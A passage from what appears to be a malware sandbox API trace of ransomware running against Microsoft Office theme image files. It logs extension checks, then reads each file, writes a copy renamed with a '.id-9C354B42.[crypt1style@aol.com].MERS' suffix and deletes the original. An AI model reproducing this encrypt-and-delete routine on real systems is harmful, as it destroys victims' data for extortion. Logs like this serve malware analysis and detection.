(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.397] lstrlenW (lpString=".doc") returned 4 [0047.397] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.397] lstrlenW (lpString=".docx") returned 5 [0047.397] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.397] lstrlenW (lpString=".pdf") returned 4 [0047.397] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.397] lstrlenW (lpString=".xls") returned 4 [0047.397] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.397] lstrlenW (lpString=".xlsx") returned 5 [0047.397] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.397] lstrlenW (lpString=".ppt") returned 4 [0047.397] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.397] lstrlenW (lpString=".zip") returned 4 [0047.397] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.397] lstrlenW (lpString=".rar") returned 4 [0047.397] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.397] lstrlenW (lpString=".bz2") returned 4 [0047.397] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.397] lstrlenW (lpString=".7z") returned 3 [0047.397] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.397] lstrlenW (lpString=".dbf") returned 4 [0047.397] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.397] lstrlenW (lpString=".1cd") returned 4 [0047.398] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.398] lstrlenW (lpString=".jpg") returned 4 [0047.398] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.398] lstrlenW (lpString=".doc") returned 4 [0047.398] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.398] lstrlenW (lpString=".docx") returned 5 [0047.398] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.398] lstrlenW (lpString=".pdf") returned 4 [0047.398] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.398] lstrlenW (lpString=".xls") returned 4 [0047.398] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.398] lstrlenW (lpString=".xlsx") returned 5 [0047.398] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.398] lstrlenW (lpString=".ppt") returned 4 [0047.398] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.398] lstrlenW (lpString=".zip") returned 4 [0047.398] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.398] lstrlenW (lpString=".rar") returned 4 [0047.398] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.398] lstrlenW (lpString=".bz2") returned 4 [0047.398] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.398] lstrlenW (lpString=".7z") returned 3 [0047.398] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.398] lstrlenW (lpString=".dbf") returned 4 [0047.424] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.424] lstrlenW (lpString=".1cd") returned 4 [0047.424] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.424] lstrlenW (lpString=".jpg") returned 4 [0047.424] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.424] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0047.424] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0047.846] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=27407) returned 1 [0047.846] CloseHandle (hObject=0x1a4) returned 1 [0047.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0047.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0047.846] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.846] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.846] GetLastError () returned 0x0 [0047.846] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0047.855] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0047.856] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.856] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.856] SetEndOfFile (hFile=0x1f0) returned 1 [0047.857] CloseHandle (hObject=0x1f0) returned 1 [0047.857] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.857] SetEndOfFile (hFile=0x1a4) returned 1 [0047.858] CloseHandle (hObject=0x1a4) returned 1 [0047.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.858] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0047.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.858] lstrlenW (lpString=".doc") returned 4 [0047.858] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.858] lstrlenW (lpString=".docx") returned 5 [0047.858] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.858] lstrlenW (lpString=".pdf") returned 4 [0047.858] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.858] lstrlenW (lpString=".xls") returned 4 [0047.858] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.858] lstrlenW (lpString=".xlsx") returned 5 [0047.858] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.859] lstrlenW (lpString=".ppt") returned 4 [0047.859] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.859] lstrlenW (lpString=".zip") returned 4 [0047.859] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.859] lstrlenW (lpString=".rar") returned 4 [0047.859] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.859] lstrlenW (lpString=".bz2") returned 4 [0047.859] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.859] lstrlenW (lpString=".7z") returned 3 [0047.859] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.859] lstrlenW (lpString=".dbf") returned 4 [0047.859] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.859] lstrlenW (lpString=".1cd") returned 4 [0047.859] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.859] lstrlenW (lpString=".jpg") returned 4 [0047.859] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.859] lstrlenW (lpString=".doc") returned 4 [0047.859] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.859] lstrlenW (lpString=".docx") returned 5 [0047.859] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.859] lstrlenW (lpString=".pdf") returned 4 [0047.859] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.859] lstrlenW (lpString=".xls") returned 4 [0047.859] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.859] lstrlenW (lpString=".xlsx") returned 5 [0047.859] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.859] lstrlenW (lpString=".ppt") returned 4 [0047.860] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.860] lstrlenW (lpString=".zip") returned 4 [0047.860] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.860] lstrlenW (lpString=".rar") returned 4 [0047.860] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.860] lstrlenW (lpString=".bz2") returned 4 [0047.860] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.860] lstrlenW (lpString=".7z") returned 3 [0047.860] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.860] lstrlenW (lpString=".dbf") returned 4 [0047.860] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.860] lstrlenW (lpString=".1cd") returned 4 [0047.860] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0047.860] lstrlenW (lpString=".jpg") returned 4 [0047.860] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.968] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0047.969] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.969] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1293) returned 1 [0047.969] CloseHandle (hObject=0x20c) returned 1 [0047.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0047.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.969] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.969] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.346] GetLastError () returned 0x0 [0048.346] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x50d, lpOverlapped=0x0) returned 1 [0048.354] WriteFile (in: hFile=0x214, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x510, lpOverlapped=0x0) returned 1 [0048.356] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.356] WriteFile (in: hFile=0x214, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.356] SetEndOfFile (hFile=0x214) returned 1 [0048.356] CloseHandle (hObject=0x214) returned 1 [0048.356] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.356] SetEndOfFile (hFile=0x20c) returned 1 [0048.357] CloseHandle (hObject=0x20c) returned 1 [0048.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.357] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0048.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.358] lstrlenW (lpString=".doc") returned 4 [0048.358] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.358] lstrlenW (lpString=".docx") returned 5 [0048.358] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.358] lstrlenW (lpString=".pdf") returned 4 [0048.358] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.358] lstrlenW (lpString=".xls") returned 4 [0048.358] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.358] lstrlenW (lpString=".xlsx") returned 5 [0048.358] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.358] lstrlenW (lpString=".ppt") returned 4 [0048.358] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.358] lstrlenW (lpString=".zip") returned 4 [0048.358] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.358] lstrlenW (lpString=".rar") returned 4 [0048.358] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.358] lstrlenW (lpString=".bz2") returned 4 [0048.358] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.358] lstrlenW (lpString=".7z") returned 3 [0048.358] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.358] lstrlenW (lpString=".dbf") returned 4 [0048.358] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.359] lstrlenW (lpString=".1cd") returned 4 [0048.359] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.359] lstrlenW (lpString=".jpg") returned 4 [0048.359] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.359] lstrlenW (lpString=".doc") returned 4 [0048.359] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.359] lstrlenW (lpString=".docx") returned 5 [0048.359] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.359] lstrlenW (lpString=".pdf") returned 4 [0048.359] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.359] lstrlenW (lpString=".xls") returned 4 [0048.359] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.359] lstrlenW (lpString=".xlsx") returned 5 [0048.359] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.359] lstrlenW (lpString=".ppt") returned 4 [0048.359] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.359] lstrlenW (lpString=".zip") returned 4 [0048.359] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.359] lstrlenW (lpString=".rar") returned 4 [0048.359] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.359] lstrlenW (lpString=".bz2") returned 4 [0048.359] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.359] lstrlenW (lpString=".7z") returned 3 [0048.359] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.360] lstrlenW (lpString=".dbf") returned 4 [0048.360] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.360] lstrlenW (lpString=".1cd") returned 4 [0048.360] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0048.360] lstrlenW (lpString=".jpg") returned 4 [0048.360] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.361] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.361] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.361] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3957) returned 1 [0048.361] CloseHandle (hObject=0x20c) returned 1 [0048.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0048.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.362] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.362] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0048.688] GetLastError () returned 0x0 [0048.688] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0xf75, lpOverlapped=0x0) returned 1 [0048.727] WriteFile (in: hFile=0x1d4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0048.728] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.728] WriteFile (in: hFile=0x1d4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.728] SetEndOfFile (hFile=0x1d4) returned 1 [0048.728] CloseHandle (hObject=0x1d4) returned 1 [0048.728] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.728] SetEndOfFile (hFile=0x20c) returned 1 [0048.729] CloseHandle (hObject=0x20c) returned 1 [0048.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.729] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 